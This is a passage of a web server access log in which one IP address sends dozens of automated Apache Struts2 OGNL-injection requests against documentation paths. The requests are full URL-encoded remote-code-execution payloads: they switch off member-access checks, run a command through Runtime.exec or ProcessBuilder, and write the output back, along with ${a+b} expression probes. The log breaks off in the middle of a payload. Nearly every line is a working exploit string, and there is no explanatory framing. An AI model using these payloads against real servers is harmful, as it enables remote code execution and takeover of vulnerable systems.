222.186.180.34 - - [26/May/2023:05:59:37 +0530] "GET /docs/appdev/sample/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1680
222.186.180.34 - - [26/May/2023:05:59:38 +0530] "POST /docs/appdev/sample/ HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:38 +0530] "POST /docs/appdev/sample/ HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:39 +0530] "POST /docs/appdev/sample/ HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:40 +0530] "POST /docs/appdev/sample/ HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:42 +0530] "GET /docs/appdev/sample/?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:43 +0530] "GET /docs/appdev/sample/%24%7B3516971%2B5097489%7D/index.action HTTP/1.0" 404 1110
222.186.180.34 - - [26/May/2023:05:59:43 +0530] "GET /docs/appdev/sample/ HTTP/1.0" 200 2212
222.186.180.34 - - [26/May/2023:05:59:44 +0530] "POST /docs/appdev/sample/sample.war HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:05:59:59 +0530] "GET /docs/appdev/sample/sample.war?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:00:07 +0530] "GET /docs/appdev/sample/sample.war?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:00:16 +0530] "GET /docs/appdev/sample/sample.war?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:00:23 +0530] "POST /docs/appdev/sample/sample.war HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:00:29 +0530] "GET /docs/appdev/sample/sample.war/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1082
222.186.180.34 - - [26/May/2023:06:00:30 +0530] "GET /docs/appdev/sample/sample.war&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2078
222.186.180.34 - - [26/May/2023:06:00:32 +0530] "GET /docs/appdev/sample/sample.war%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2078
222.186.180.34 - - [26/May/2023:06:00:33 +0530] "GET /docs/appdev/sample/sample.war?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:00:38 +0530] "GET /docs/appdev/sample/sample.war/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1782
222.186.180.34 - - [26/May/2023:06:00:40 +0530] "GET /docs/appdev/sample/sample.war?redirect%3A%24%7B5488704%2B7023681%7D HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:01:21 +0530] "POST /docs/appdev/sample/sample.war HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:01:29 +0530] "GET /docs/appdev/sample/sample.war?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:01:40 +0530] "GET /docs/appdev/sample/sample.war/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1466
222.186.180.34 - - [26/May/2023:06:01:41 +0530] "GET /docs/appdev/sample/sample.war/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1702
222.186.180.34 - - [26/May/2023:06:01:44 +0530] "POST /docs/appdev/sample/sample.war HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:01:51 +0530] "POST /docs/appdev/sample/sample.war HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:01:56 +0530] "POST /docs/appdev/sample/sample.war HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:02:05 +0530] "POST /docs/appdev/sample/sample.war HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:02:11 +0530] "GET /docs/appdev/sample/sample.war?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:02:30 +0530] "GET /docs/appdev/sample/sample.war/%24%7B3783471%2B8058299%7D/index.action HTTP/1.0" 404 1132
222.186.180.34 - - [26/May/2023:06:02:31 +0530] "GET /docs/appdev/sample/sample.war HTTP/1.0" 200 4606
222.186.180.34 - - [26/May/2023:06:02:41 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:02:49 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:02:52 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:02:53 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:02:54 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:02:56 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:02:57 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:02:58 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:02:59 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:00 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:01 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:02 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:04 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:05 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:05 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:06 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:07 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:10 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:13 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:14 +0530] "POST /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:15 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:16 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:17 +0530] "GET /docs/appdev/ HTTP/1.0" 200 6206
222.186.180.34 - - [26/May/2023:06:03:20 +0530] "POST /docs/appdev/mailto:craigmcc@apache.org HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:21 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:22 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:23 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org?%28%27%5C43_memberAccess.allowStaticMethodAccess%27%29%28a%29=true&%28b%29%28%28%27%5C43context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5C75false%27%29%28b%29%29&%28%27%5C43c%27%29%28%28%27%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET%27%29%28c%29%29&%28g%29%28%28%27%5C43mycmd%5C75%5C%27echo%20ccvaevcc%5C%27%27%29%28d%29%29&%28h%29%28%28%27%5C43myret%5C75@java.lang.Runtime@getRuntime%28%29.exec%28%5C43mycmd%29%27%29%28d%29%29&%28i%29%28%28%27%5C43mydat%5C75new%5C40java.io.DataInputStream%28%5C43myret.getInputStream%28%29%29%27%29%28d%29%29&%28j%29%28%28%27%5C43myres%5C75new%5C40byte%5B51020%5D%27%29%28d%29%29&%28k%29%28%28%27%5C43mydat.readFully%28%5C43myres%29%27%29%28d%29%29&%28l%29%28%28%27%5C43mystr%5C75new%5C40java.lang.String%28%5C43myres%29%27%29%28d%29%29&%28m%29%28%28%27%5C43myout%5C75@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28d%29%29&%28n%29%28%28%27%5C43myout.getWriter%28%29.println%28%5C43mystr%29%27%29%28d%29%29 HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:24 +0530] "POST /docs/appdev/mailto:craigmcc@apache.org HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:25 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org/devmode.action?debug=command&expression=(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean%28%22false%22%29%20%2C%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3D%23foo%2C@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27echo%20ccvaevcc%27%29.getInputStream%28%29%29) HTTP/1.0" 404 1100
222.186.180.34 - - [26/May/2023:06:03:26 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org&key=(%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D=+new+java.lang.Boolean(false),+%23_memberAccess%5B%22allowStaticMethodAccess%22%5D=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27echo%20ccvaevcc%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char%5B51020%5D,%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z%5B(key)(%27meh%27)%5D HTTP/1.0" 404 2096
222.186.180.34 - - [26/May/2023:06:03:27 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D HTTP/1.0" 404 2096
222.186.180.34 - - [26/May/2023:06:03:28 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org?x=%24%7B(%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println(%23d)%2C%23out.close())%7D HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:29 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org/%24%7B%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('echo%20ccvaevcc').getInputStream())%2C%23q%7D.action HTTP/1.0" 404 1800
222.186.180.34 - - [26/May/2023:06:03:30 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org?redirect%3A%24%7B2567209%2B6191114%7D HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:31 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org?debug=command&expression=%23f%3D%23_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23resp%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22echo%22%2C%22ccvaevcc%22%7D)).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B1000%5D%2C%23d.read(%23e)%2C%23resp.println(%23e)%2C%23resp.close() HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:32 +0530] "POST /docs/appdev/mailto:craigmcc@apache.org HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:33 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org?method:%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23context%5B%23parameters.obj%5B0%5D%5D.getWriter().print(%23parameters.content%5B0%5D%2B602%2B53718),1?%23xx:%23request.toString&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:34 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org/%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23wr.print(%23parameters.content%5B0%5D%2B602%2B53718),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=10086 HTTP/1.0" 404 1484
222.186.180.34 - - [26/May/2023:06:03:35 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org/(%23_memberAccess%3D@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23wr%3D%23context%5B%23parameters.obj%5B0%5D%5D.getWriter(),%23rs%3D@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()),%23wr.println(%23rs),%23wr.flush(),%23wr.close()):xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=16456&command=echo%20ccvaevcc HTTP/1.0" 404 1720
222.186.180.34 - - [26/May/2023:06:03:36 +0530] "POST /docs/appdev/mailto:craigmcc@apache.org HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:37 +0530] "POST /docs/appdev/mailto:craigmcc@apache.org HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:39 +0530] "POST /docs/appdev/mailto:craigmcc@apache.org HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:40 +0530] "POST /docs/appdev/mailto:craigmcc@apache.org HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:41 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3F(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command%5B0%5D).getInputStream()))):sb.toString.json&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&command=echo%20ccvaevcc HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:42 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org/%24%7B8711804%2B3704259%7D/index.action HTTP/1.0" 404 1150
222.186.180.34 - - [26/May/2023:06:03:43 +0530] "GET /docs/appdev/mailto:craigmcc@apache.org HTTP/1.0" 404 1070
222.186.180.34 - - [26/May/2023:06:03:44 +0530] "POST /docs/comments.html HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:45 +0530] "GET /docs/comments.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bla%29%29&%28%27%5Cu0023myout%5Cu003d@org.apache.struts2.ServletActionContext@getResponse%28%29%27%29%28bla%29%28bla%29&%28E%29%28%28%27%5Cu0023myout.getWriter%28%29.println%28%5Cu0023mystr%29%27%29%28bla%29%29 HTTP/1.0" 200 10182
222.186.180.34 - - [26/May/2023:06:03:47 +0530] "GET /docs/comments.html?%28%27%5Cu0023context%5B%5C%27xwork.MethodAccessor.denyMethodExecution%5C%27%5D%5Cu003dfalse%27%29%28bla%29%28bla%29&%28%27%5Cu0023_memberAccess.excludeProperties%5Cu003d@java.util.Collections@EMPTY_SET%27%29%28kxlzx%29%28kxlzx%29&%28%27%5Cu0023_memberAccess.allowStaticMethodAccess%5Cu003dtrue%27%29%28bla%29%28bla%29&%28%27%5Cu0023mycmd%5Cu003d%5C%27echo%20ccvaevcc%5C%27%27%29%28bla%29%28bla%29&%28%27%5Cu0023myret%5Cu003d@java.lang.Runtime@getRuntime%28%29.exec%28%5Cu0023mycmd%29%27%29%28bla%29%28bla%29&%28A%29%28%28%27%5Cu0023mydat%5Cu003dnew%5C40java.io.DataInputStream%28%5Cu0023myret.getInputStream%28%29%29%27%29%28bla%29%29&%28B%29%28%28%27%5Cu0023myres%5Cu003dnew%5C40byte%5B51020%5D%27%29%28bla%29%29&%28C%29%28%28%27%5Cu0023mydat.readFully%28%5Cu0023myres%29%27%29%28bla%29%29&%28D%29%28%28%27%5Cu0023mystr%5Cu003dnew%5C40java.lang.String%28%5Cu0023myres%29%27%29%28bl